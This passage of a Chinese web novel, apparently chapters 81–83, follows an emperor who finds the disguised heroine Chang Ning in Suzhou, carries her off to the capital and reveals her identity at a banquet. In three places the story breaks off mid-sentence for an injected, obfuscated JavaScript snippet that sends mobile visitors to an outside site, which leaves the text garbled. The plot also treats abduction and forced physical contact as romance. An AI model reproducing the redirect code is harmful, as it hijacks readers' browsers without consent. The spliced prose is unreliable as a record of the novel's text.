手方才伸出一半，就被斜刺里突然闯入的男人抢了先。那人俊美清贵，气度不凡，衣袂蹁跹间，不仅接过了许荇一臂抱在怀里，还扯了余娘子手腕，并肩立在一处，冷淡的目光挑剔地望向他。 小林公子伸指，正要指责，忽地被带刀侍卫横刀挡住，险些碰下他一根手指。四下里侍卫散布，哪怕小林公子再迟钝，也知这人不好惹。 这就是余娘子说的……重要的事？ 刘总管笑眯眯劝道：“小公子，快些回去吧。” 许荇没见过李稷，猝然被抱离常宁，又见他面带凶气，低声啜泣。 小林公子被侍卫推搡着，梗着脖子回头问：“你是谁？你来做什么！” 侍卫呵斥一声，李稷笑着，眸光不见暖意，攥着常宁手腕的手微抬，“我是她爹。你这清清白白的小郎君，纠缠我妻作甚？” 小林公子目光一言难尽，张口想说些什么，已被侍卫簇拥着“请”下去了。 许荇的爹，同余娘子哪儿来的干系？ 刘总管轻声哄着，要抱许荇离开，给两人留下个叙旧的空间。 许荇哇一声哭出来，倾身搂着常宁不放，不敢看李稷，“你才不是我爹，我爹娘早就不要我了！” 刘总管那句“小殿下”还没出口，又默默咽下去了。先前他就说，这孩子年龄不似三四岁幼童，应当不是常宁的。陛下偏不信。 常宁瞪李稷一眼，顺理成章拂开他，抱着许荇往回走。好一会儿，这才哄住了许荇，找来守在附近的仆役，叮嘱他们将人全须全尾地送回去。 刘总管吩咐侍卫跟着，笑道：“我们来送，您先忙。” 常宁颔首，“谢了。” 长街上车水马龙，有他们在，确实更安全些。 但回首瞧见立在不远不近处的李稷时，常宁仍有些犯怵。左右已被认出，常宁索性就摘下帷幔抱在臂弯里，神态自若，信口问道：“怎么认出我的？” 她自认还算谨慎，戴着帷幔也不忘在脸上涂改，此时这张脸顶多只与自己三四分相像，又夜里灯火万千、人流如织，如何也不该被认出来。 他不答，只是静静看着。 常宁又问：“你可还有事？” 她的声音如梦似幻，是李稷夜梦中听过无数次的语调，却又全然不像。 漫长的寂静，阴沉沉压抑在常宁心头。常宁踮起脚尖，垂首踢着碎石子，始终得不到回复。若非带刀侍卫挺直身板围护在四周，隔绝了行人，常宁险些以为这不过是噩梦一场。 常宁道：“走了。” 手腕被攥住，微凉的浮光锦掠过常宁肌肤。被他从背后抱住，又被转过身，紧紧拥入怀中，藤蔓一般绞缠得人喘不过气来。 李稷嗓音低沉，炙热鼻息喷薄在常宁颈间，一字一句渗着寒意，“你休想。” 常宁推他，却推不得。李稷拦腰抱起常宁，边钳制了她作乱的手足，边将她脸颊按进胸膛，往茶楼上去。 一门之隔，隔开了侍卫。刘总管守在门外，早就派人清空了茶楼，命乐师抚弄轻柔舒缓的曲子。 乐音声声，飘入雅间。常宁用力推开李稷，退开数步，临窗站定，颊边因空气稀薄染上红晕，眸中含火，愠怒道：“你做什么！” 李稷设想过无数次相见的场景，或是临死之际，或是奈何桥畔，最期盼也最不敢奢想的，便是在人世与常宁相见。 她没有含泪扑向他，没有对他诉说流落在外的委屈和思念。那双蕴着醉人陈酿的桃花眸中，不见喜怒，不见惧恨，连一丝怨也看不出。 她的态度是这样的平淡，这样的……令人失望。在她这里，他连许荇都不如。兴许，连那瘦弱的书生都比不过。 她以为她是谁？她还指望着，能如从前一般将他玩弄于股掌之间吗？她欠他的，又该拿什么来还？这三年里，他孤枕难眠，夜夜羞愧难安，无时无刻不愧疚于往事，而让他如此震荡的人此刻正好端端立在对面，以极其平淡的目光看着他，只字不提那令他痛苦不安的往事。 但是……她能站在这里，还能触碰到她温热的肌肤、感受到她有力的呼吸，已是天大的幸事。 “这些年，朕很想你。” 窗边人讶异地歪了歪头，“谢谢。我也很想我爹娘。” 不想他么？ 竭力忽视横亘心头的刺，李稷温和地笑了笑。然多年积威，这笑也是看不出情绪的。 “我们回京城。他们见到你，定是开怀的。等钦天监测算出吉日良时，我们成亲。你喜欢孩子？我们也可以有一个……” “不必，”他说这些话，只会让常宁烦躁，抬眸直视他，“如今，您应当清楚，我并不爱您。” 十七年，才有一张余有庆的户帖，让常宁安心地离开。常宁从未想过，这层身份这样快就会被发现。似乎他的出现，从来都是破坏性的，让常宁不得不离开爹娘，远离亲友，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110043|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让常宁历尽艰辛终于安定的生活岌岌可危。 李稷禁不住重重抚掌，击掌声突兀响起，惊得常宁皱紧眉心。 “你以为，朕的愧疚有多少？” “真是，好狠的心呐！女扮男装、私造户帖，哪一件是小事？一时贪欢，戴罪潜逃，你不在意，难道也不在意京中父母，不忧心余记诸人？” 常宁面色有一瞬惨白，手扶窗棂。 李稷沉沉盯视。为什么，此刻还会心痛、怜惜？为什么，她如风一般，捉不住、留不下，又令人如此迷恋？为什么，她如此羞辱于他，他还要自甘堕落地追逐？ 常宁定声道：“非是我要亡他们，是您要亡他们。如果不是您，我何至于走到今日，与爹娘生离形同死别？至于余记，我出银钱，他们为我做工，各取所需罢了。若是没了我、若是倒了余记，自然还有赵记、宋记，只是我比他们更仁义。若是没有我，济幼堂里的孩童依旧挨饿受冻、颠沛流离，暴死草野无人在意。” “兴衰存亡本就是天理。然怜悯之心人皆有之，况稚子何辜？若以区区之身，平息圣怒，虽非吾愿，亦甘心尔。” 简直荒唐！ 李稷疏于分辨这话中几分真假，自相逢起，一切的一切，都与他所料想悖逆。如水的月华透过窗子，打在常宁洁白无瑕的脸上，映进那双桃花眸中，照出眸光深处的点点紧张。 极淡，常宁已极力隐藏，但还是避不开李稷。 呵，她紧张什么？她分明知道，他最烦这样的劝谏姿态。听了这席话，他应该恼羞成怒，应该拂袖而去，应该永世厌弃她。 ——如果在他眼前的，不是她。 常宁很清晰地听到了远处传来的嘈杂声。那声音愈发大、愈发清晰，常宁骤然意识到，是她太焦灼了。 她听到李稷的低笑，却未曾看见他脸上的笑意，只知道李稷向她走来，一步一步地踏在茶楼的地板上，在寂静的雅室中格外清晰。 李稷面容淡漠，不辨喜怒，修长白皙的指骨捏住常宁下巴，微抬了抬，指腹在柔软润泽的唇瓣上摩挲，“女君子，你之盛情难却，朕又岂容拒之？便以你此身，渡厄修福，全你之道。” 常宁眸子睁大，“你……” 不可置信？ 李稷淡笑，俯身含住朱唇，花瓣一般凉滑，同主人眸中隐隐的泪光一样湿润，触之难舍难分。 三年，变的何止是她，还有他。 高楼灯火，临桥面河，又最是市井繁荣处。 噼啪的火光中，行人抬首，望见明窗上一对相依的剪影，“快看呐！苏州城也是出了稀罕事！” 常宁脸一红，奈何被李稷困在此处，呜咽着要推开他。 李稷薄唇贴着常宁脸颊，滑至耳畔，“嘘，你看，他是在寻你吗？” 常宁偏头，气息起伏不定，眸光也迷离着，恰见张侍玉抱着剑在河对岸，背对着茶楼，似听了人群呼声，正要回首看来。 在李稷放纵之下，常宁几乎瞬间就将李稷反扑在墙壁上，细汗浮香面，红唇微张。那支撑着窗子的支杆也被李稷带落在地，隔绝了嘈嘈杂杂的人群。 李稷扫过一眼。 也好，这样就无人能再看到她。 “你怕什么？怕他看到你同朕厮缠？怕他编排？还是害羞？” 现在才知道怕吗？也只有怕的时候，她才能这么乖，才会这样一错不错地看着他，仿佛眼前只看得到他一人。 81. 坚持！ “别……” 常宁红唇晶亮，双手紧攥着李稷胸前衣襟，桃花眸睁得浑圆，觑向闭阖的窗子。 李稷喉结滚动，“别看了，看不到。” 常宁受惊一般，伸手捂住李稷薄唇，低声道：“你别说话。” 李稷笑：“怕什么？他既看不见，也听不到。倒是你，与他没甚干系，为何耻于与他相见？” 常宁瞪他一眼，李稷笑意愈深。 “反正和你说不明白。” 河畔那些人，没一个认得常宁的。兴许他们这一辈子，就只有这擦肩而过的缘分，就是哭闹起来常宁也不带脸红的。张侍玉不同。他们从京城到并州，又从并州到苏州，三年里风风雨雨一同担过，即便是余记眨眼之间大厦将倾时，也没有背叛过彼此。 若被侍玉瞧见，常宁一阵难堪，“又不是人人都如您一样。” 她含射他不顾颜面，李稷却禁不住放声大笑。 哪怕是嗔怪怨愤，也比先前那副淡然平静的模样更让他欣喜。 常宁顺势退后几步，端了杯茶递过去。 李稷心下颇为吃惊，面上却不显，并不去接。 那只会被她带着，一步步玩弄于股掌之间。 常宁遂就自己品了，点评道：“好茶。您要去哪里？犹记得从前在京城，您殿里常备这样的乌龙茶，砂绿茶汤荡在紫砂壶里，倒出时有果香萦绕。我那时寻您，最惦记的就是这一口茶。” 李稷淡淡嗯了一声，“算不得稀罕物。” 他自然不会说，这茶是特意给她备的。那未免太蠢。 常宁托腮笑着，眸光闪亮，口齿清晰地说着往事。那一桩桩，一件件，李稷从未想过，常宁竟记得这样清楚。 李稷胸中陡然涌起热潮，竟觉活色生香，一时连常宁说了些什么都听不清，只觉一阵莫名的情愫萦绕在心间。如此的安定，如此的令人安心。 常宁笑问：“您要到哪里去？” “京城。”李稷依旧冷淡。 常宁苦恼，“不顺路，我要回并州。” ‘送你到并州，朕再回京城。’赶在话出口前，李稷卷着舌尖咽了下去，微坐直了，眸光带着审视。 “顺路，朕带你回京。” 常宁也懒怠再装模作样了，往后仰靠进椅背里，一臂横在额上，遮住了眼睛，“你出去，我睡会儿。” 李稷强硬挤过去，抱起常宁，在常宁的抗拒中推门而出。 她大抵不知道，并不是所有人都言出必行。也或许在她看来，他是这样的人。 但他不会将这件事告诉她。 侍从早就备好了车马，夤夜出城。 外表朴实无华的青篷车，内里铺玉簟，嵌明珠，设书案，悬香薰，堆叠着软枕薄绸被，角落的夔凤纹三足盘中放着碎冰，正散发着阵阵水雾。 车马渐渐走动，人声被隔绝在外，却依旧能听出从市井繁华处到寂静处的区别。门窗都被锁上了，马车旁有许多马蹄声，想必是侍从。一路上摇摇晃晃，常宁的倦意是真，左右一时走不掉，便就摆好了衾枕，倚在里面昏昏欲睡。 忆起留在苏州城中的侍玉和许荇，常宁强忍困意起身，提笔挥就一封书信，塞出门缝，敲门叮嘱道：“送回我原先的住处。” 不多时，落锁声响起，一线光从车门处透出。李稷进来，倾身跪坐在地，指间捏着那封薄薄的信，脸庞隐没在阴影中，“你还要回并州？” 常宁温吞着点头，困极，眸光朦胧，“不然呢？” “道歉。回京。”李稷冷冷道。 相逢这般久，纵是引诱，李稷也从未从常宁口中听到她对那三年的解释。甚至连一句敷衍着的关心话，她都不曾说过。 “休想，”常宁微低着头，并不抬眼看他。 双肩微沉，李稷已经膝行至常宁身前，迫常宁抬首。 不等常宁去推李稷手臂，李稷已经收手，手指搭上衣襟，玄色衣袍、素白中单，层层叠叠轻薄柔软的布料，一件件甩落在车壁上。带起的风，吹灭了摇曳的烛火。 月光透过小窗挤进来，照在两人身前，显出李稷冷白色的胸膛来，肌理分明，丘壑纵横。 李稷捉住常宁挣扎的手腕，大掌带着，笼在左肩上，紧紧贴合。 常宁犹自侧脸闭眸，掌心一片滚烫温腻，是凹凸不平的。她仿佛触到烙铁，却如何也抽不回被李稷钳制的手。 “睁眼，看朕。” 李稷捏住常宁下颌，微微倾身，与常宁近在咫尺，冷冽的气息打在常宁脸上。 常宁屏住了呼吸，不得不小心睁眸看他。 李稷哂笑，“朕还没有那么无耻。” 常宁脸颊烧红，抬眼是李稷放大的脸庞、深邃狭长的凤眸，垂眸是他高挺的鼻梁、薄薄的唇和晃眼的白，乃至雪地里一点红晕。稍一转眸，下颌上那只手便收紧一分，李稷也逼近寸许。 “看。” 他带着她的手腕游移开，露出肩上那片疤痕。 连羞涩都被屈辱掩盖，如同李稷身上冷冽的气息，无孔不入地包裹着常宁。 上一次这样，还是近四年前。常宁以游学为借口离京，夜宿客栈。李稷追了上来，两人皆去了外袍。中衣相对、同榻而眠，常宁以为，这就是极大的亲密了。 “可看清了？” 常宁勉力点头。朦胧的视线里，暗红色的疤痕，阴沉沉的，比铜钱还大上几寸，躺在她白皙纤细的指尖下，困兽一般沉默冷酷。 “丑陋否？” “不丑，不丑。”常宁喉头哽咽。 “摸。” 常宁呆住了。这简直无耻，她不想看他，不想触碰到他，更不想做这样似轻浮而又似屈辱的举动。少时贪玩，随狐朋狗友误入南风馆，阴柔秀美的白面小生也是这般，握着她的手深情楚楚。常宁侧目，回避，推拒，呵斥，直至夺门而出，再不曾踏入。 他们都把她的退避认作羞涩，但常宁的退避、呵斥、远离只对那小生奏效，李稷全然不吃这一套。 李稷甚至因常宁的沉默逼得更近，鼻尖几乎挨着常宁的鼻尖。偌大的车厢内，沁人心脾的香薰味都消褪了，常宁周边所剩下的，只有李稷的气息。闭气闭得常宁脸上潮红一片，最终无可救药地与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122589|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李稷呼吸交缠。 “不丑，为何不敢摸？”李稷作势靠近。 “我摸，摸！” 常宁指尖滑动，眸光无处安置，只能在李稷面上流连，和他淡漠的眸相视。 李稷绷紧下颌，唇形锐利，紧抿时微仰了面。他又近了，常宁深吸气，不动声色地后退，却被身后的青木阻拦。他呼吸也紧了，常宁知道，这是忍耐的姿态。 他说这是疤，那么，是痛么？常宁蕴着流光的眼眸低垂了，黯然几分。指下触感如何，常宁全然不知，只是思绪一片混乱。忧，拒，羞怯，耻辱。他在罚她，这伤，是因她吗？可她，不记得。 不，不是她！ 常宁凌乱着。分明上次上药时，常宁看见了的。初春，料峭的天，他们从凉亭挪到暖阁里，刘总管还给了常宁一支碧绿的药杵。 “不是我，不是我……” 常宁呢喃着。那伤也在肩上，靠上些？也或许是向下几许，总之不在这里，也非是那点碍眼的红。 不是她的错。 “找到了。” 淡到几乎看不见的印痕，与肤色几近融为一体。只有这点小小的伤痕，才与常宁有关。其余的，常宁都不认。 那他凭什么如此惩罚她，羞辱她？ 怒火在眸中燃烧，常宁听到李稷一声压抑的低哼。痛吗？他活该。 李稷按住常宁手腕，再不让她乱动，气息渐归平稳。面前的人，朝思暮想，终于出现。雪颜泛红，水眸潋滟，眸光乱颤，腮边鼓鼓。不似梦中那般虚幻，他手下肌肤滑腻，是真真切切的存在。 前呼后拥、众星捧月，凡常宁所有的，李稷都想百倍千倍再捧给她。他甘愿对她百依百顺，但他不能。他比谁都清楚，当他将他所珍视的、不愿割舍的一切交付予常宁时，那场面，绝不是有情人终成眷属，而是常宁弃他而去之时。 李稷冷声道：“亲。” 他鼻尖已经挨上了常宁鼻尖，常宁一阵抗拒。但她很快发现，李稷似乎并不在意她是否按他说的做。他的目光虽平淡，但总是若有若无落在她唇上。 那么丑，常宁才不亲，更不会让他亲她！ 唇瓣恼怒地贴上李稷下巴，常宁咬牙厮磨，利齿刺破皮肤，舌尖卷去血迹，迅速偏头移开。 余光里，常宁看见李稷冷然的面庞。但常宁只觉，他心情不错。在心底唾骂了声变态，常宁伸手推李稷，惊愕地发现，李稷竟纹丝不动。 怎么可能，平时李稷高兴了，常宁做什么他都会配合的。 李稷看在眼里，压下笑意，指尖点上常宁心口，“你这里有伤么？” 常宁脸上一热，立即否认，“没有。” 李稷道：“耳听为虚，眼见为实。” “昏君！” “说说罢了，怕什么？” 慢条斯理地穿好衣裳，李稷瞥一眼常宁。常宁倒眉倒眼的模样，见他看来，便不情不愿地收了冷脸。 李稷出门，常宁便捉了他一片衣角，跟着猫腰钻出来，望望暗蓝夜幕上的星云，无比自然地上了侍从为李稷牵的马，回头来问：“去哪儿？” 82. 坚持！ 嘉明四年乙丑，大魏文武群臣永生难忘的一天。 禁欲多年的陛下，宵衣旰食的明君，忽然在早朝宣布，择日将广采天下秀男，朝野震撼。 好端端的陛下，英明神武，年轻俊美，一朝断袖天下知，群臣扼腕叹息。相比之下，先前陛下后宫凋敝都成了小问题。 不久，内侍又无意间传出陛下偏好人妇的惊天秘闻。 一时朝中人人自危，既要提防陛下瞧上自己，又要防着陛下看上自己的妻妾。 养心殿，安亲王立在丹樨下，两侧执戟郎中执戟伫立，严密地保卫着从宫道至殿中的安全。 眉目清秀的小太监屈身行礼，“殿下，陛下传唤。” 龙章凤姿的安亲王挥手，抬步时，目光落在小太监清秀白皙的脸上。 小太监微笑，手心里却满是汗。天知道，他和陛下除了主子奴才的关系，那是一丁点私情都没有呐！ 殿后静室，李稷独坐于玉簟上，轻抿了口凉茶。 环佩叮咚，珠帘轻晃，一阵香风拂过，常宁便在李稷身侧坐下，中间隔着一方小案。 “陛下，陛下！” 李稷淡淡嗯了一声。 常宁一时拿不准他的主意，亦不知他心情如何，捏了颗紫葡萄，探身凑近他薄唇，“吃一个嘛。” 李稷偏头拒了。安亲王已等在前殿，他整衣起身。 衣角却被人轻轻拉着。 常宁眼眸水润，红唇微张，欲语还休。 前殿不时有臣子来往，常宁是悄悄过来的。她在毓庆宫待了十余日，再大的耐心也消磨没了。李稷既在后殿，想来前殿当是无人。常宁却不好追出去，否则若是被来往的臣子瞧见，可又如何是好？但不追着，又不知再见到李稷是何时。 眼见李稷拂下她的手就要离开，常宁忙从背后环住李稷腰身，脸埋在他肩膀上，掀眸暗自观察，“陛下。” 李稷声音很低，“何事？” 她贴着他，柔软的，温暖的，鼻尖都是细细香气，余光里是波光潋滟的眼眸。颊侧微痒，是常宁的发丝。 有一瞬，当真是心神荡漾。 “陛下，”常宁嗓音温软，竖起一根白皙手指，“我在宫里不开心，你让我出去转转嘛，就一天！” 李稷冷声拒绝，缓慢掰开腰间的手，“朕召人与你作陪。” “不要，”常宁摇头，李稷不为所动。 打帘时，李稷回头一瞥，见常宁已经拿了一串葡萄要从后殿退出去，眉心微皱。大殿孤寂，她在毓庆宫也孤单。如此，他在前殿处理政务，她在后殿安眠酣睡，或是把玩珍品、披衣阅卷，闲暇时二人共话，岂不快活？方要开口留人，忽忆起常宁方才在耳边软绵绵地说不开怀，便就止住了，只是到前殿去。 “皇叔所为何事？” 安亲王见过礼，“臣此行，为林探花而来。” 刘总管微笑着。林探花家中本是牵扯进了二皇子的案子里，陛下怜惜其才情，不顾私怨，点为探花。如今林探花供职御史台，做了小小言官。许是尝到了直言进谏的甜头，有关陛下的大小事宜，林探花都要写奏表讥讽，连陛下绊了一脚都能写出洋洋洒洒数千言骈文。这位林探花最新大作，便是借后宫凋敝暗讽陛下“不行”的奏文。 前些日子，大雨滂沱，众臣长跪太极殿前，恳求陛下收回成命。林探花抖了衣袖吹了笏板，就要出列进言。 此事自然不成，陛下只是与宫中女官闲谈，道是秀男要比着林探花来找。 李稷轻笑一声，“皇叔，你曾是方外之人，又要如何劝朕？” 安亲王也笑，眉目清隽出尘，肤色苍白，唇却极红，“你我叔侄，臣自然站在陛下这边。只是林探花一届文臣，清流出身，如今遭清流排斥，日日都有人在府门外砸咬了一口的烂桃子和断袖子。他脸皮薄，险些悬梁自尽。依臣看，远远地逐了他去，贬往黔地、滇地，眼不见为净。” “臣更关心的，还是陛下的终身大事。陛下风姿俊逸，岂能无人相伴？” 李稷眉目中不期然染上几分春色，罕见笑道：“皇叔放心便是。婚事朕自有打算，皇叔等着吃酒就好。倒是皇叔，也要早做打算。” “是，”安亲王道，“臣亦有了成算，改日来寻陛下赐婚。” “自然。” 从大殿中出来，刘总管一路送行，忽听安亲王回眸问：“里面那姑娘是谁？” 陛下本就有意透露给安亲王，刘总管并未隐瞒，“并州余有庆。” 微风拂过，安亲王仰面望天，被日光刺得微眯了凤目，“是么？” 珠帘后越过的桃花面，模糊而又清晰。那嗓音，比之从前轻柔上些许。眼眸中的光亮，却比之从前更甚。 不开怀吗？ 毓庆宫占地极大，李稷搬进东宫之前，一直住在毓庆宫中，如今毓庆宫中依旧留有李稷幼时的痕迹。常宁闲极翻书，找出不少李稷的旁批，那笔触还十分稚嫩，语调却老成严肃，让常宁止不住发笑。 可毓庆宫再大，常宁也还是不能安心。 也不知十余日过去，侍玉如何，许荇又如何？说是要为许荇讲解书中疑窦，终究是失信了。 李稚匆忙而至，在迷宫一般的毓庆宫中穿行，胸中不快。 她这些年同皇兄关系不错，自然知晓毓庆宫搬入了新人，只不知是谁。又经母妃提点，早已影影绰绰知晓了当年旧事，心下为常宁不平。 可气皇兄分明清楚，还派内侍唤她来陪毓庆宫这位解闷。 解闷？她们两个不吵起来，都已经算是好的。 穿过一处游廊，眼前闪过黄琉璃瓦歇山顶折射出的日光，举手遮挡间，忽见太湖石旁水榭内坐了个姑娘，雪颜花貌，侧脸便美如姑射仙子。赤红洒金的百褶裙，金灿灿的雕花簪，秾丽艳极的搭配，穿在她身上丝毫不见俗气，反而光彩照人，既夺目，又让人忍不住想再看一眼。 她正倚坐在栏杆旁，一手轻摆着柳枝戏水，眼睛盯着碧波荡漾的湖面，逗弄一池色彩斑斓的锦鲤儿，并不回眸，另一手拈下旁边一颗葡萄，便往池中抛去。 好生熟悉。 李稚暗暗心惊，复又上前几步，对上回身看来的人，惊呼道：“表……” 常宁耸眉轻笑，拿葡萄塞在李稚微张的口中，“嘘，别说话。” 李稚咬下去，酸酸甜甜，眸光晶亮，“我没认错？” “是，”常宁颔首，“他让你来的？” 李稚用力点头，扯着常宁手在湖边落座，含泪道：“原来母妃说的都是真的。” 她从来都没有表哥。 可这样一来，常宁所受的委屈，也全是真的？那令人时日无多的毒，寒江上的乱军，皆因皇兄而来。 察觉李稚黯淡的情绪，常宁道：“往事不堪回首，莫要再想。如今得以再聚，自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132745|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要畅饮一番。我这里有几坛好酒，可要尝尝？经年不见，清河愈发令我刮目相看了。你广募女医的诏令，我在并州都有所耳闻。” 李稚心绪渐定，“说来还是多亏了表姐你。” 第一声表姐出来，再说就自然多了。她二人都是活泛的性子，少时鸡飞狗跳不在少数，不多时便笑闹作一团。 自常宁堕江后，李稷不时召李稚谈话，言辞之间总绕不开常宁。三年下来，李稚已理不清往皇兄宫中去过多少次，她也因此成了兄弟姐妹中与皇兄最亲近的一个，旁观着拼凑出了一件事，知道皇兄与常宁的不同。 及至后来，李稚广募医女，要女医进太医院，大多阻力都被李稷解决。 闲话许久，常宁又过问了英国公夫妇近况，笑道：“清河，你近来好生快活，听说府中俊杰无数，个个都俊逸非凡，我可要向你讨几个法子，回来好生琢磨。” 李稚脸热，“表姐！你若想，用不着我来……” “什么法子？朕也甚是稀奇。” 李稷已在内侍簇拥之下行至水榭后，未令人通传，未曾想一来便听常宁问起此事。 常宁立马接道：“延年益寿的法子！保真！” 李稷自然而然抖衣落座于常宁身侧，揽上常宁纤腰，瞧一眼李稚。 李稚磕磕巴巴：“皇兄，臣妹告退。” 李稷半搂半抱着常宁，即使觉出人的不情愿，也只是轻笑一声，将人往怀里带，“求人时倒是主动，软磨硬泡不见退却。可要朕与你一同探究延年益寿之道？” 常宁侧头，捂住耳朵，“情志舒畅，气血通达，当然延年益寿！是真的！” 他真是有病，说话就说话，挨她耳朵这么近做什么？ 李稷道：“实践出真知。” 常宁道：“我不听。” 李稷便缓了声，“你若忧心余记，尽管去信。” 常宁哼哼，“去过了。” 先给侍玉去，若侍玉有意兼管余记，常宁已为他安排好了可用人手。若他不愿意，常宁也有另一套准备。 这么些年一向如此，尽管侍玉无心俗务，但在大当家这里，二当家必须排第一位。 这就是他们二当家的排场和大当家的英明智慧！ 可惜身旁是李稷，常宁不指望能得到夸赞，兀自笑着不说话。 李稷忽问：“你们护送西番瓜，护送得如何？还要开商道？” 护送贵在神速，如此才能新鲜。开商道免不了沿途停靠收整，想是达不到常宁借护送西番瓜避退小波盗匪的期望。 常宁斜他一眼，毫不意外他知晓这些，“送一个西番瓜是送，送一车还是送。我们寻常备货，为防意外，都要多备上小一成，官差更是谨慎。要送往交趾的瓜，自然有专人送达，以神速为上。后面那些商队，就一车里只有一个瓜咯。” 李稷屈指轻敲常宁额头，笑道：“假公济私。” 常宁幽幽道：“千里迢迢运送西番瓜，耗费民力。” 姜夫人就从不许常宁沾染这习性。 只是，常宁望望黄琉璃瓦檐角。她确实不吃，可她要送给别人吃，半夜睡醒常宁都觉得自己命苦。 李稷道：“你在宫中无趣，明日带你归家看看。” 常宁还没做好再见爹娘的准备，没精打采地应了一声，“过夜吗？” 刘总管回道：“不过夜，用过午膳便回宫。” 83. 坚持！ 自常宁回京后这一二十来天，日日与李稷朝夕相对，自然少不了花前月下情意绵绵的时分。 常宁暗地里瞧着，李稷心情一日盛过一日，适时提了许多要求。 临赴太傅寿宴前，李稷忽抚着常宁鬓角，轻声道：“过些日子，我下旨立你为后，可好？” 常宁道：“不好。” “为何？”李稷握着常宁手腕的手紧了几分。 常宁作黯然状：“我祖上有外族血统，还是不要给您添麻烦了。” 李稷身子一僵，心下微痛，“不是麻烦。朕与你，其实也差不多了。” 直到太傅府上，李稷都有几分沉郁，只是下了辎车后便遮掩起来。 太傅是清流之首，又在皇帝还是太子时就是皇帝的老师，这次寿宴来的人十分多，上至天子台阁，下至身无功名的文人墨客，都赶来庆贺。 随着太监的唱喏声，皇帝携太傅从幕后走来。群臣本就莫敢直视天颜，如今又有皇帝要广收男色的荒唐事流出，连偷觑都不敢了。 这就致使群臣直到落座十分才瞧见皇帝身旁的绿衣女子，云鬓雪肤，轻纱覆面，闲淡优雅，与皇帝同坐，也丝毫不怯，自有清贵舒华之气。 一时群臣心神震荡，却又不敢明里发问，借着推杯换盏之机，暗暗打听。可众臣如云，却连一丝风声也无。 最后还是掌管禁廷巡守的郑大人悄悄露底，才知这位余姑娘早在大半个月前就入了宫，相伴陛下身侧，陛下甚是宠爱。郑大人口风一向严，能漏给他们听，必定是陛下愿意让他们听到这些。 群臣当即松了一口气，暗自庆幸免于沦落为龙阳君的乐事中。再有敏锐的，立时便察觉出，皇帝先前一连串荒唐事，只怕都是在为这位姑娘铺路。想来经此一闹，这姑娘身份上再如何不合适，朝臣也只有喜闻乐见的份。 要说最激动的，还是林探花。自从陛下那句戏言流传出来后，日日都有人写了文章骂他不堪为人臣，其间多有指责他行为不端、惑主上误入歧途之意。再结合他前日那暗讽皇帝不举的奏文，他是跳进黄河也洗不清。 常宁也注意到他了，不禁微微一笑。再看下首，倒是有许多熟人，云策、公孙谨、孟学洲都在，此刻正或明或暗地打量常宁，眸中惊疑不定。 安亲王也在，常宁与他并不算很相熟，见他目中满是了然过后的淡然，便冲他一颔首。 安亲王也回以一笑，在其乐融融的氛围中整衣出列，“陛下，臣有事要奏。” 丝竹依旧，来宾的交谈声却消失地一干二净。 李稷道：“皇叔，今日不谈国事。” 安亲王眸光晶亮，温和看向常宁，“此为家事。昔年先皇曾赐予本王一道赐婚圣旨，只待臣有了心仪之人，便可求娶。” 众臣大骇。 他们又不是眼瞎，看不见安亲王频频向陛下身旁的姑娘目送秋波，恨不得找个地缝钻进去。 果不其然，不等皇帝开口阻止，安亲王便从侍从捧着的楠木长条匣中取出一卷圣旨，躬身举至头顶，微昂首道：“本王要求娶并州余有庆。” 李稷攥着常宁手腕，将人往身侧带了些许，笑道：“皇叔可确信是并州余有庆？” 众目睽睽之下，安亲王不得不答，“臣确信。” 李稷道：“皇叔自往并州迎亲，即可到封地去。” 安亲王道：“余姑娘就在宴上，正在您身侧，臣为何要往并州去？” “是吗？”李稷笑笑。众臣早就垂首不敢乱看，连太傅都微微蹙眉。他伸手揭下常宁面纱，“可朕身侧，并非余有庆，而是常宁。英国公，你夫妇二人上前来，仔细瞧一瞧，这可是你家常宁？” 英国公夫妇除了前几日私下里见过常宁一面，就再未见过常宁了。今日赴宴见了常宁的身影，便一直暗暗打量着。如今听了皇帝的话，何尝不想光明正大与常宁相会，上前抹泪相拥，“正是我们可怜的孩儿。” 实则不必来这一遭，众人大多都见过常宁，也都打过一二交道，见了面纱下的那张脸，已经全然知了。 可好端端的儿郎，怎么三年不见踪影，现了身却成了个姑娘，岂不犯了欺君之罪？ “皇叔，你连人都能认错，可见待余姑娘也并非真心，早些到封地赴任为妙，”李稷笑着，一指常宁，“昔年英国公之女降生时，空智大师曾算过一卦，若作女儿养，必过不过三载。英国公夫妇求到朕皇考面前，被准许女扮男装。三年前常宁落水，又得空智大师相救，到天竺访问佛理，洗涤恶气。直到数月前，朕才派人接她归京。” 后面的事倒不必再提，只是经此一遭，常宁更是引人注目，遂寻了个合适的档口，跟在安亲王身后出去了。 “殿下。” 